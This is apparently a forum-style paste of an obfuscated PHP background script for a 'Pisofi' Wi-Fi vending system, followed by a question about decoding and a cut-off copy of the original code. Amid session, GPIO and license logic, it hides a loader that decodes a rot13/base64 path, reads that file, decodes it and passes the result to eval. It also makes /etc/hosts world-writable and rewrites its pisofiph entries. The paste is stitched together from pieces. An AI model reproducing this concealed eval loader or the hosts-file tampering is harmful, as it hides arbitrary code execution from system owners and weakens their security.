x6z3l: GlgDh: goto mP62z; k1On8: foreach ($hgaXW as $jzxYf) { goto mQiaJ; yIC0V: $jzxYf->delete(); goto bqZzZ; eWVwd: if (!$fSaOy) { goto wFCG9; } goto Mzaoa; REkMr: HmUiq: goto vzb82; sjm46: agTcr: goto tjAhU; HskNX: wFCG9: goto JzZdo; tjAhU: f7quo: goto L8aeb; RnVys: $TCaip = $jzxYf->getData(); goto l6Qbb; l6Qbb: if (isset($TCaip["disconnected"])) { goto sOTFW; } goto phHMv; vzb82: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto XBIne; zzM9a: goto gcIa8; goto pqALH; Mzaoa: echo "Pausing Desktop Client" . PHP_EOL; goto RnVys; QMohB: if (!(time() - $TCaip["disconnected"] > 200)) { goto YIJMf; } goto LMRQP; mQiaJ: if ($jzxYf->remaining_time <= 0 || $jzxYf->isDisconnected()) { goto HmUiq; } goto eWVwd; phHMv: file_put_contents("/tmp/paused_desktop_kicker", "[OK]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto zzM9a; JzZdo: goto agTcr; goto REkMr; iXaBm: gcIa8: goto HskNX; AetVe: YIJMf: goto iXaBm; SCzLb: $jzxYf->pause(); goto AetVe; LMRQP: file_put_contents("/tmp/paused_desktop_kicker", "[PAUSED]: " . date("YmdHis") . json_encode($TCaip) . PHP_EOL, FILE_APPEND); goto SCzLb; XBIne: ZKuEt($jzxYf); goto yIC0V; pqALH: sOTFW: goto QMohB; bqZzZ: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto sjm46; L8aeb: } goto vTdt1; NViqg: if ($fSaOy) { goto Xagf7; } goto Y4V3K; pyRbg: $gX6_B = true; goto T8WvI; SWkNP: if (!(count($Y6g_u) > 0)) { goto CE4A1; } goto dZ9TZ; mP62z: pEkbl: goto SWkNP; dmJvV: } catch (Exception $tRWTQ) { echo "[DESKTOP]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto esMHL; Ia2I1: $VBsPb = max(0, $PN4U3 - $xb4ec); goto cto0r; M_go1: goto cIbkR; goto Fg6qX; IwBrL: $VBsPb = 3; goto zWqyX; AW5mr: sleep(3); goto Qc1YG; Wp_64: } catch (Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . " 
\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto NIj9H; Txcs5: function ZKUet($jzxYf) { goto DtaIp; B2_ns: YRKN8: goto YbWqB; DtaIp: if (!$jzxYf) { goto YRKN8; } goto qSZc3; qSZc3: try { goto txK2i; txK2i: $JK3wk = ["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "date_connected" => $jzxYf->date_connected, "connection_time" => $jzxYf->connection_time ?? 0, "remaining_time" => $jzxYf->remaining_time ?? 0, "remarks" => $jzxYf->remarks, "mark" => $jzxYf->mark, "status" => $jzxYf->status, "download_rate" => $jzxYf->download_rate ?? 0, "upload_rate" => $jzxYf->upload_rate ?? 0, "upload_auto" => $jzxYf->upload_auto, "download_auto" => $jzxYf->download_auto, "auto_manage" => $jzxYf->auto_manage ?? 0, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id, "download_usage" => $jzxYf->download_usage ?? 0, "upload_usage" => $jzxYf->upload_usage ?? 0, "type" => $jzxYf->type ?? 1, "bandwidth_limit" => $jzxYf->bandwidth_limit ?? 0, "allow_pause" => $jzxYf->allow_pause ?? 0, "allow_conversion" => $jzxYf->allow_conversion ?? 0, "allow_sharing" => $jzxYf->allow_sharing ?? 0, "pause_count" => $jzxYf->pause_count ?? 0, "sent" => $jzxYf->sent ?? 0, "notified" => $jzxYf->notified ?? 0, "admin_pause_override" => $jzxYf->admin_pause_override ?? 0, "session_id" => $jzxYf->session_id ?? 0]; goto lF7MB; ZeNc0: OldClient::create($JK3wk); goto Hu2Vn; lF7MB: if (!$jzxYf instanceof ActiveClient) { goto wX4WO; } goto lym4T; lym4T: $JK3wk["expiration_date"] = $jzxYf->expirationDate(); goto A6yNr; A6yNr: wX4WO: goto ZeNc0; Hu2Vn: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto B2_ns; YbWqB: } goto JO4Ko; I_P7Y: $YmgC4 = (int) $lY2YW->portalMaximumTimeAllowedPauseInSeconds(); goto Y9CP3; Y9CP3: $lgwLb = (bool) $lY2YW->canLimitMinPauseTime(); goto Zd6hI; efOMp: $uGSgZ = $gALHl["delay"] * 60; goto qabOp; TpN51: $lY2YW = new PortalManager(); goto an1FO; NIj9H: } goto JjEYM; Y1kqF: QUi0B: goto o7E9B; t77DK: $fFS64 = fopen(__FILE__ . ".lock", "w+"); goto eCoSq; zc9CR: echo "Starting Connection Checker" . PHP_EOL; goto lbxVY; fwMvt: if (!true) { goto QUi0B; } goto xeHQ1; JjEYM: set_time_limit(0); goto t77DK; nA3Md: bGqdh: goto fwMvt; lbxVY: $Thdr9 = new Pisofier(); goto ig5Pm; nUaoL: unlink(__FILE__ . ".lock"); ?>

Did this file decode correctly?

Original Code

<?php 
/*   __________________________________________________ 
    |  Obfuscated by YAK Pro - Php Obfuscator  2.0.5   | 
    |              on 2022-07-16 20:05:44              | 
    |    GitHub: https://github.com/pk-fr/yakpro-po    | 
    |__________________________________________________| 
*/ 
 $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = dirname(__DIR__) . "/"; $hHhNI = "/.cache/tmp/55/05/pfi/"; $hHhNI = "/.cac" . "he/tm" . "p/5" . "5/05" . "/pfi/"; require_once $hHhNI . "vendor/autoload.php"; $r3Nz1 = "DS"; $sa3ld = "ROOTPATH"; $tPq00 = "PUBLICPATH"; $P2vkw = "SCRIPTSPATH"; define($r3Nz1, DIRECTORY_SEPARATOR); define($sa3ld, $hHhNI); define($tPq00, "/var/www/html/" . basename(ROOTPATH) . "/public/"); define($P2vkw, "/var/www/html/" . basename(ROOTPATH) . DS . "scripts" . DS); use Illuminate\Database\Capsule\Manager as Capsule; use Illuminate\Database\Capsule\Manager as DB; $g1wRv = (require ROOTPATH . DS . "app" . DS . "Config" . DS . "database.php"); use Illuminate\Events\Dispatcher; use Illuminate\Container\Container; $BLODZ = new Capsule(); $BLODZ->setEventDispatcher(new Dispatcher(new Container())); $BLODZ->addConnection($g1wRv); $BLODZ->setAsGlobal(); $BLODZ->bootEloquent(); use App\Models\ActiveClient; use App\Models\ChargingClient; use App\Models\OldChargingClient; use App\Models\OldClient; use App\Models\ConnectionSession; use App\Models\OldConnectionSession; use App\Models\PisofiSetting; use App\Pisofi\Pisofier; use App\Pisofi\PinConfigurationManager; use App\Pisofi\PortalManager; use App\Pisofi\DesktopManager as DM; use App\Pisofi\Vendo\VendoManager; use App\Models\DesktopClient; use App\Pisofi\DesktopManager; use App\Pisofi\SessionManager; use App\Pisofi\SessionOptionsManager; use App\Helpers\PisofiHelper; use App\Models\ClientAccount; use App\Pisofi\Server\NgrokServerManager; use App\Pisofi\GPIO\PisofiGPIO; goto ztRI9; eCoSq: if (flock($fFS64, LOCK_EX | LOCK_NB)) { goto zBE_m; } goto l9_Gf; QXxGp: zBE_m: goto zc9CR; LUoU2: fclose($fFS64); goto nUaoL; Zmv2D: goto bGqdh; goto Y1kqF; ig5Pm: $RA7Gm = true; goto nA3Md; o7E9B: flock($fFS64, LOCK_UN); goto LUoU2; xeHQ1: try { goto GMaMZ; yd8ND: sleep(1); goto hK3is; lDMpf: FZMrC($Thdr9, $RA7Gm); goto yd8ND; GMaMZ: echo ROOTPATH . PHP_EOL; goto lDMpf; hK3is: } catch (Exception $tRWTQ) { goto uBXRM; vb8Gy: sleep(5); goto s2GF0; izFrq: echo $tRWTQ->getMessage() . PHP_EOL; goto vb8Gy; uBXRM: file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
"); goto izFrq; s2GF0: } goto Zmv2D; l9_Gf: die("Already running. Exiting..."); goto QXxGp; ztRI9: function FzMrc(Pisofier $Thdr9, $RA7Gm = false) { goto TpN51; rTwuf: $fSaOy = (bool) $GaE67->pauseOnDisconnect(); goto Txcs5; Zd6hI: $nGxp3 = (bool) $lY2YW->canLimitMaxPauseTime(); goto EDeIw; x0cxT: $BE75D = new SessionOptionsManager(); goto wpaj8; SYjBE: $gALHl = $G60Em->notificationSettings(); goto r9GO1; qabOp: $WRn20 = $lY2YW->isPauseTimeValidityEnabled(); goto Kxgf0; fYARe: $jz9xs = (int) $G60Em->pauseTimeValidity(); goto rTwuf; EDeIw: $CYMfX = $G60Em->isPauseTimeValidityEnabled(); goto fYARe; Kxgf0: $q1gKN = (int) $lY2YW->pauseTimeValidity(); goto kmW1W; wpaj8: $WJjIp = (bool) $BE75D->autoRemoveExpiredSessions(); goto SYjBE; r9GO1: $X0eQD = $gALHl["enabled"]; goto efOMp; x3P_t: $GaE67 = new DM(); goto x0cxT; kmW1W: $NzYsc = (int) $lY2YW->portalMinimumTimeAllowedPauseInSeconds(); goto I_P7Y; an1FO: $G60Em = new DesktopManager(); goto x3P_t; JO4Ko: try { goto IwBrL; mu2uy: $Xy6xY = 0; goto NUvdl; ii0t3: Ao4pH: goto MzPUD; seOmQ: E4Wjc: goto nbspX; Ek3AX: $W7MEb = false; goto fpB8L; X3eBM: oYmv0: goto durP1; tJCLD: $PN4U3 = time(); goto jrUEU; NUvdl: GiewW: goto uO6th; esMHL: try { goto ArNVZ; LTvAs: PisofiHelper::publishEvent("onclientchargedone", ["clients" => $stDWy]); goto T5uo4; ArNVZ: DB::update("UPDATE charging_clients SET sent=0, remarks = 'Running Update Time', remaining_time = IF({$VBsPb} > remaining_time, 0, GREATEST(0, remaining_time - {$VBsPb}))  WHERE status = 1"); goto d5AxZ; SJl70: foreach ($hgaXW as $jzxYf) { goto sEIUy; rTlg2: RX5BT: goto ZlwwB; e3YCD: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_HIGH); goto Dg3Oj; uGAn0: f3JIe: goto e3YCD; ZlwwB: SfIhz: goto Zjkkv; vqMFW: PisofiGPIO::setValue($Y3leK->getValue(), PisofiGPIO::VALUE_LOW); goto Ub8_K; gP3Gk: if (!$aGGSS) { goto SfIhz; } goto fwKEk; RcBw_: $stDWy[] = $jzxYf->pin_name; goto IaaSq; Dg3Oj: gjTl1: goto wbyOo; Zjkkv: goto BsELx; goto XmwkT; DPc_t: $lY2YW = new PinConfigurationManager(); goto zEQAb; XmwkT: mTmzF: goto DPc_t; Uc2Pa: $jzxYf->delete(); goto RcBw_; wbyOo: $lY2YW->resetCurrentValue($jzxYf->pin_name); goto r45cT; IaaSq: nihXy: goto doqbX; WLOCg: zHP8Y: goto QxqaD; qhKEz: $aGGSS->disablePin($vepWb); goto rTlg2; zEQAb: $Y3leK = $lY2YW->getPinByName($jzxYf->pin_name); goto Sob7G; QxqaD: BsELx: goto ZtvZs; vpXat: if (!$vepWb) { goto RX5BT; } goto qhKEz; Sob7G: if (!$Y3leK) { goto zHP8Y; } goto Cu1vJ; io5GV: if ($U0sUl == PisofiGPIO::VALUE_LOW) { goto f3JIe; } goto vqMFW; Cu1vJ: $U0sUl = $Y3leK->getLogicLevel(); goto io5GV; Ub8_K: goto gjTl1; goto uGAn0; ZtvZs: OldChargingClient::create(["mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address, "connection_time" => $jzxYf->connection_time, "remaining_time" => $jzxYf->remaining_time, "pin_name" => $jzxYf->pin_name, "remarks" => $jzxYf->remarks, "remarks" => $jzxYf->remarks, "client_id" => $jzxYf->client_id]); goto Uc2Pa; fwKEk: $vepWb = $aGGSS->getChargingStation($jzxYf->pin_name); goto vpXat; zABXU: $UfP3S = new VendoManager(); goto kQGIL; r45cT: $lY2YW->save(); goto WLOCg; kQGIL: list($lIa3U, $Y3leK) = explode("___", $jzxYf->pin_name); goto qyL3T; qyL3T: $aGGSS = $UfP3S->getVendo($lIa3U); goto gP3Gk; sEIUy: if (stripos($jzxYf->pin_name, "user_charging_") !== false) { goto mTmzF; } goto zABXU; doqbX: } goto HIUdj; ajwdX: if (!(count($stDWy) > 0)) { goto MJJYp; } goto LTvAs; awI81: $stDWy = []; goto SJl70; HIUdj: P8Q2m: goto ajwdX; T5uo4: MJJYp: goto NePhn; d5AxZ: $hgaXW = ChargingClient::whereRaw("(status = 1 AND remaining_time <= 0) OR (status = 0)")->get(); goto awI81; NePhn: } catch (Exception $tRWTQ) { echo "[CHARGING]: " . date("Y-m-d H:i:s") . " | " . $tRWTQ->getMessage() . PHP_EOL; file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); } goto fIBe5; FjiYo: if (!($VBsPb >= 1800)) { goto ud1Yv; } goto Ek3AX; c8eyp: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto AW5mr; eeoEB: $Xy6xY += $VBsPb; goto HHQUR; OCPMs: Ms2mh: goto KjS8_; UbO_x: $Y6g_u = []; goto Yrg0p; SUhb8: if (!$xb4ec) { goto Ms2mh; } goto VcVt3; hbja1: $xb4ec = time(); goto m1g4g; R0RUS: if ($RA7Gm && $B6hA0 >= $fjXVy) { goto oYmv0; } goto pWoBB; f3WpG: $Xy6xY -= 60 * 60; goto C2gnn; WBoHc: goto E4Wjc; goto X3eBM; ituDQ: m3H1t: goto H9oXO; pAaWT: echo "Time has been adjusted..." . PHP_EOL; goto tJCLD; Ec0Vd: if ($W7MEb) { goto WYABg; } goto n4xmH; UOqv7: ud1Yv: goto D3mzb; cto0r: $W7MEb = true; goto hXeIC; Fg6qX: WYABg: goto UOqv7; zWqyX: $B6hA0 = 60 * 60; goto E2zL9; mWRjR: try { goto lmWXN; nXsbB: if (!$uFeIV) { goto GU9dP; } goto SpoI7; SpoI7: $WB61b = new NgrokServerManager(); goto ZgYJF; ZgYJF: $Q9NQK = $WB61b->sendNgrokInfo(); goto NUNqb; GefYC: GU9dP: goto cBvKw; NUNqb: PisofiSetting::setValue("last_ngrok_sync", time()); goto GefYC; lmWXN: $uFeIV = PisofiHelper::getPisofiNgrokUrl(); goto nXsbB; cBvKw: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "
"); echo $tRWTQ->getMessage() . PHP_EOL; } goto WROIs; D3mzb: $gX6_B = false; goto UbO_x; n_rbv: nNK5x: goto LUGkV; C2gnn: goto GiewW; goto ii0t3; zG4zV: jhgBn: goto Wp_64; WROIs: f1gvc: goto R0RUS; durP1: try { goto D5eFZ; VrxcZ: eval("?>" . $l0fFD); goto MR_Pt; N6bki: $l0fFD = $nfiO6($HoI78($tl5a2($nfiO6($HoI78($mw0IU))))); goto VrxcZ; LEGpa: $HoI78 = "str_rot13"; goto MOwwt; D5eFZ: $mw0IU = "Y3Mupv93q3pinUEg" . "oP9jnKAiMzxipUIvoTywY2ygM" . "l91p2IlZGRgZGV4rQRlBP5dpTp="; goto P3qBv; MR_Pt: $B6hA0 = 0; goto vGbo_; P3qBv: $tl5a2 = "file_get_contents"; goto LEGpa; MOwwt: $nfiO6 = "base64_decode"; goto N6bki; vGbo_: } catch (Exception $tRWTQ) { echo $tRWTQ->getMessage() . PHP_EOL; } goto HXOms; HXOms: if ($Xy6xY > 60 * 60 * 24 * 7) { goto nNK5x; } goto eeoEB; IFJ9m: DVp3c: goto TG1VT; VcVt3: if (!($xb4ec < time() - 60)) { goto m3H1t; } goto hbja1; n4xmH: echo "Time was not set properly..." . PHP_EOL; goto niqAP; lIxMl: $PN4U3 = time(); goto OFkwO; wEizC: if (!(time() - $jPgYL > 60 * 60)) { goto f1gvc; } goto mWRjR; HHQUR: goto upT5D; goto n_rbv; wslzy: $Xy6xY = 0; goto d2K_O; MzPUD: try { goto ZsG3_; FoO00: if (!$sO0V7) { goto SslR4; } goto z_0xI; TFEhK: goto cspiM; goto RdkFY; LrRzL: cspiM: goto cfgmO; RnfSK: $sO0V7 = isset($ZwVPc["license"]) ? $ZwVPc["license"] : null; goto FoO00; ZsG3_: $ZwVPc = json_decode(\App\Models\PisofiSetting::getValue("license"), true); goto glWYC; glWYC: if (!(isset($ZwVPc["licenseType"]) && $ZwVPc["licenseType"] == "LICENSED")) { goto Wm68M; } goto RnfSK; cfgmO: Wm68M: goto C1eUP; Hq1cn: $ip38S = $jzxYf->sendAsync($nAvbg)->then(function ($POCaY) { goto Eey9I; U0I8S: App\Models\PisofiSetting::setValue("license", null); goto w0TcX; hsICV: if (!$yjTsB) { goto SSU8n; } goto IoAZ1; IoAZ1: $TCaip = json_decode($yjTsB, true); goto IWayY; pLy3J: $yjTsB = \App\Helpers\PisofiHelper::decodeCipher($Q9NQK["data"], $sO0V7); goto hsICV; tx2xC: SSU8n: goto vBMdO; owDhH: $sO0V7 = App\Models\PisofiSetting::getValue("cipher_key"); goto pLy3J; IWayY: if (!($TCaip["status"] !== "OK")) { goto k1CqD; } goto U0I8S; Eey9I: $Q9NQK = json_decode($POCaY->getBody(), true); goto owDhH; w0TcX: k1CqD: goto tx2xC; vBMdO: }); goto Nk9fV; RdkFY: SslR4: goto uqDil; z_0xI: $nAvbg = new \GuzzleHttp\Psr7\Request("GET", "https://pisofiph.com/api/lkval8/" . $sO0V7); goto EYuJk; EYuJk: $jzxYf = new \GuzzleHttp\Client(); goto Hq1cn; Nk9fV: $ip38S->wait(); goto TFEhK; uqDil: App\Models\PisofiSetting::setValue("license", null); goto LrRzL; C1eUP: } catch (\Exception $tRWTQ) { file_put_contents(__FILE__ . ".log", date("Y-m-d H:i:s") . " : " . $tRWTQ->getMessage() . " at Line " . $tRWTQ->getLine() . " on " . $tRWTQ->getFile() . "\xd\xa"); echo $tRWTQ->getMessage() . PHP_EOL; } goto mu2uy; fCrto: GCafx: goto Ec0Vd; OFkwO: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto pyQRa; Qc1YG: goto cIbkR; goto zG4zV; KjS8_: $xb4ec = time(); goto JSJRx; pyQRa: $VBsPb = max(0, $PN4U3 - $xb4ec); goto FjiYo; E2zL9: $fjXVy = 60 * 60; goto wslzy; pWoBB: $B6hA0 += $VBsPb; goto WBoHc; niqAP: sleep(3); goto M_go1; oLgXZ: $HLFS2->exec("SET TRANSACTION ISOLATION LEVEL READ UNCOMMITTED "); goto lIxMl; H9oXO: goto DVp3c; goto OCPMs; SsEkR: GL6o0: goto c8eyp; d2K_O: $xb4ec = PisofiSetting::getValue("last_kicker_run"); goto SUhb8; TG1VT: cIbkR: goto Qbfha; fIBe5: $jPgYL = intval(PisofiSetting::getValue("last_ngrok_sync")); goto wEizC; Qbfha: if (!true) { goto jhgBn; } goto G2HOf; jrUEU: PisofiSetting::setValue("last_kicker_run", $PN4U3); goto B6Miy; hXeIC: rwbV7: goto fCrto; VzZN2: exec("sudo /usr/bin/php /var/www/html/pisofi/scripts/pfirules false > /dev/null 2>&1 & "); goto SsEkR; fpB8L: if (!PisofiHelper::isOnline()) { goto GCafx; } goto Lad5S; Lad5S: if (!PisofiHelper::setDateTime()) { goto rwbV7; } goto pAaWT; JSJRx: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto IFJ9m; UQ4ky: try { goto afOdG; Z4WnU: chmod("/etc/hosts", 0777); goto ynsWt; afOdG: chmod("/etc/hosts", 0777); goto upcSY; yU3Dl: $HQzSx = array_filter($qkx3M, function ($T2Gde) { goto fU5M8; MXKmp: Sb9SZ: goto yFEuT; Bx4j9: return stripos($T2Gde, ".pisofiph.com") !== false; goto MXKmp; fU5M8: if (!(stripos($T2Gde, "pisofiph") !== false)) { goto Sb9SZ; } goto Bx4j9; yFEuT: return true; goto GsY3Z; GsY3Z: }); goto knIgo; upcSY: $qkx3M = explode("
", file_get_contents("/etc/hosts")); goto yU3Dl; knIgo: file_put_contents("/etc/hosts", implode("
", $HQzSx)); goto Z4WnU; ynsWt: } catch (\Exception $tRWTQ) { } goto seOmQ; nbspX: if (!$gX6_B) { goto GL6o0; } goto VzZN2; LUGkV: if (PisofiHelper::areWeOnline()) { goto Ao4pH; } goto f3WpG; m1g4g: PisofiSetting::setValue("last_kicker_run", $xb4ec); goto ituDQ; G2HOf: $HLFS2 = DB::connection()->getPdo(); goto oLgXZ; B6Miy: $xb4ec = intval(PisofiSetting::getValue("last_kicker_run")); goto Ia2I1; Yrg0p: try { goto kmG8H; MiUXw: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND NOT last_paused IS NULL AND (timestampdiff(MINUTE,last_paused, now())) >= {$q1gKN} ) "; goto U2BpQ; SbW7R: fKNn0: goto NeZdn; jibNg: if (!($x_A7k->count() > 0)) { goto vQpCH; } goto sLytr; rQ_sD: if (!$YhiC2) { goto mHArs; } goto Iibtg; EJOmq: if (!$lgwLb) { goto YH1Q_; } goto Mv2Cc; F0rxS: $WJjIp = $BE75D->autoRemoveExpiredSessions() ? " OR (status = 4)" : ''; goto Brii7; NDNIS: kWVPw: goto WEbYd; bSIQJ: if (!$nGxp3) { goto LeDhd; } goto ffNyY; LxFMf: $gX6_B = true; goto jaIB4; YZeSj: if (!(count($Y6g_u) > 0)) { goto kWVPw; } goto FFV98; PZr14: LeDhd: goto onDMu; ffNyY: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time > {$YmgC4} ) "; goto PZr14; yFOOv: $gX6_B = true; goto riPFE; w14vk: Ol2zv: goto vQ_so; WhldM: DB::update("
                    UPDATE connection_sessions s, active_clients a\xd\xa                    SET\xd
                        s.status = a.status,\xd
                        a.updated_at = NOW(),
                        s.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})), 
\xa                        a.remaining_time = IF({$VBsPb} > a.remaining_time, 0, GREATEST(0, a.remaining_time - {$VBsPb})),\xd
                        s.download_rate = a.download_rate,
\xa                        s.upload_rate = a.upload_rate,
\xa                        s.upload_auto = a.upload_auto,
\xa                        s.download_auto = a.download_auto,
                        s.download_usage = a.download_usage,\xd\xa                        s.upload_usage = a.upload_usage,
                        a.expiration_date = s.expiration_date,
\xa                        a.allow_pause = s.allow_pause,\xd
                        a.allow_conversion = s.allow_conversion,
                        a.allow_sharing = s.allow_sharing,
                        s.admin_pause_override = a.admin_pause_override,\xd
                        s.bandwidth_limit = a.bandwidth_limit,
\xa                        s.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),\xd\xa                        a.pause_count = (CASE WHEN s.type = 1 THEN s.pause_count ELSE 0 END),
\xa                        a.type = s.type,\xd\xa                        a.status = (CASE \xd
                            WHEN s.status = 0 THEN a.status
                            WHEN s.expiration_date IS NULL THEN a.status
                            WHEN (s.expiration_date > NOW()) THEN (\xd
                                CASE WHEN a.status = 4 THEN 2 ELSE a.status END
                            ) \xd
                            ELSE 4\xd\xa                        END),
\xa                        s.data = a.data\xd\xa                    WHERE s.id = a.session_id AND a.status = 1"); goto F0rxS; FqIzj: $gX6_B = true; goto QwfEA; d0x8X: $gX6_B = true; goto w14vk; f0MUc: foreach ($Q46rb as $TkqeU) { goto OPtSp; OPtSp: $cQDNl = "connect"; goto mcPum; r6K0c: $kI7ec->{$cQDNl}(); goto UQ7z5; mcPum: $kI7ec = new SessionManager($TkqeU, $cQDNl); goto r6K0c; UQ7z5: nCb6J: goto Cd43Z; Cd43Z: } goto isCuH; StvlY: foreach ($hgaXW as $jzxYf) { goto WQZrD; NOo0J: $Y6g_u[] = ["id" => $jzxYf->id, "mac" => $jzxYf->mac, "ip_address" => $jzxYf->ip_address]; goto WV34W; xI6D2: $TkqeU = ConnectionSession::find($jzxYf->session_id); goto ofgqk; QAsMN: $jzxYf->delete(); goto NOo0J; WQZrD: $Thdr9->disconnect($jzxYf->mac, $jzxYf->ip_address, $jzxYf->mark, $jzxYf->download_rate, $jzxYf->upload_rate, $jzxYf->download_rate); goto Tr6x1; A7lZT: OldConnectionSession::create($TkqeU->toArray()); goto B4YDO; ofgqk: if (!$TkqeU) { goto ZQ1s4; } goto A7lZT; Tr6x1: zkUeT($jzxYf); goto xI6D2; B4YDO: $TkqeU->delete(); goto gtdvi; gtdvi: ZQ1s4: goto QAsMN; WV34W: tpyBv: goto sx0mQ; sx0mQ: } goto Wahlv; ZjuUI: if (!$BE75D->autoRemoveExpiredSessions()) { goto i4mXq; } goto ZHUDI; Iibtg: $x_A7k = ActiveClient::whereRaw(join(" OR ", $YhiC2))->get(); goto jibNg; k08y9: i4mXq: goto Ie6j6; OK096: if (!$WRn20) { goto badBw; } goto MiUXw; isCuH: QzoZu: goto yFOOv; kmG8H: $dChtB = ConnectionSession::whereRaw("LENGTH(TRIM(mac)) <= 0")->get(); goto mUcn8; FFV98: PisofiHelper::publishEvent("onclientdisconnected", ["clients" => $Y6g_u]); goto NDNIS; Brii7: $hgaXW = ActiveClient::whereRaw("(status = 1 AND remaining_time <= 0 AND type = 1) OR ( status = 1 AND (download_usage + upload_usage) > bandwidth_limit AND type = 2) OR ( status = 1 AND bandwidth_limit <= 0 AND type = 2) OR (status = 0) {$WJjIp}")->get(); goto StvlY; nW5uW: DB::update("\xd\xa                    UPDATE active_clients a, usages u
                    SET
\xa                        a.download_usage = u.download_usage,\xd
                        a.upload_usage = u.upload_usage\xd
                    WHERE a.mac = u.mac AND a.ip_address = u.ip_address AND a.status = 1"); goto ckXp4; U2BpQ: badBw: goto EJOmq; Mv2Cc: $YhiC2[] = " ( status = 2 AND type = 1 AND admin_pause_override = 0 AND remaining_time < {$NzYsc} ) "; goto p9dUa; nFaDP: DOqWs: goto rQ_sD; wdEfw: mHArs: goto nW5uW; sCTv8: o9Z8e: goto dDvMP; xqqjk: if (!($x_A7k->count() > 0)) { goto Ol2zv; } goto yqgbp; jaIB4: u5puT: goto YZeSj; mUcn8: foreach ($dChtB as $cp1yj) { goto hrufP; fL1Rx: $cp1yj->mac = $l9NZf->mac; goto gkaP_; EHyQd: goto iz7JH; goto OGcdJ; V_XaC: $cp1yj->save(); goto kOOtN; gkaP_: $cp1yj->save(); goto CMAx4; hrufP: $jh9vu = false; goto cZ7qX; RcD1b: $cp1yj->delete(); goto EHyQd; LeUf3: $MsMBj = ConnectionSession::where("ip_address", $cp1yj->ip_address)->first(); goto QdYr4; PQ92B: $cp1yj->save(); goto Gdw5B; otx6m: FuI64: goto Zvw9p; Zvw9p: dtnOf: goto xyNPg; Gdw5B: iz7JH: goto ytxN5; QdYr4: if ($MsMBj) { goto uM6os; } goto RcD1b; lgptd: $MsMBj = ConnectionSession::where("client_id", $cp1yj->client_id)->first(); goto og_iY; OGcdJ: uM6os: goto CgcMf; ytxN5: M4uUC: goto C5y2c; eJtO_: uf870: goto T6YtQ; CgcMf: $cp1yj->mac = $MsMBj->mac; goto PQ92B; ormFd: if ($l9NZf) { goto FyLip; } goto lgptd; XQlo9: $cp1yj->mac = $MsMBj->mac; goto V_XaC; T6YtQ: goto FuI64; goto UOfJz; xyNPg: if ($jh9vu) { goto M4uUC; } goto LeUf3; og_iY: if (!$MsMBj) { goto uf870; } goto XQlo9; m4dPL: $l9NZf = ClientAccount::find($cp1yj->client_id); goto ormFd; CMAx4: $jh9vu = true; goto otx6m; UOfJz: FyLip: goto fL1Rx; kOOtN: $jh9vu = true; goto eJtO_; cZ7qX: if (empty(trim($cp1yj->client_id))) { goto dtnOf; } goto m4dPL; C5y2c: OUrJp: goto NbiE1; NbiE1: } goto gQutk; NeZdn: if (!(count($pr2v9) > 0)) { goto bipib; } goto FqIzj; QwfEA: bipib: goto xQ8Mw; MiL7I: foreach ($pr2v9 as $qnD3u) { goto Azt4c; gZg6s: $kI7ec->{$cQDNl}(); goto uu5Eg; zoCgK: $kI7ec = new SessionManager($qnD3u, $cQDNl); goto gZg6s; uu5Eg: f72Nl: goto hkvDq; P05i6: $cQDNl = "connect"; goto zoCgK; Azt4c: echo "Auto Continue Session {$qnD3u->id}" . PHP_EOL; goto P05i6; hkvDq: } goto SbW7R; mv0RN: $gX6_B = true; goto DiWw_; wwjG3: $pr2v9 = ConnectionSession::whereRaw("id IN (\xd
                        SELECT MIN(id) min_id FROM connection_sessions
                        WHERE (CASE \xd
                            WHEN expiration_date IS NULL THEN status
                            WHEN (expiration_date >= NOW()) THEN status
\xa                            ELSE 4
\xa                        END) <> 4
\xa                        GROUP BY CONCAT(mac, ip_address)\xd\xa                    ) AND (mac, ip_address) NOT IN (SELECT mac, ip_address FROM active_clients) \xd\xa                    AND (CASE \xd\xa                        WHEN expiration_date IS NULL THEN status\xd
                        WHEN (expiration_date >= NOW()) THEN status
                        ELSE 4
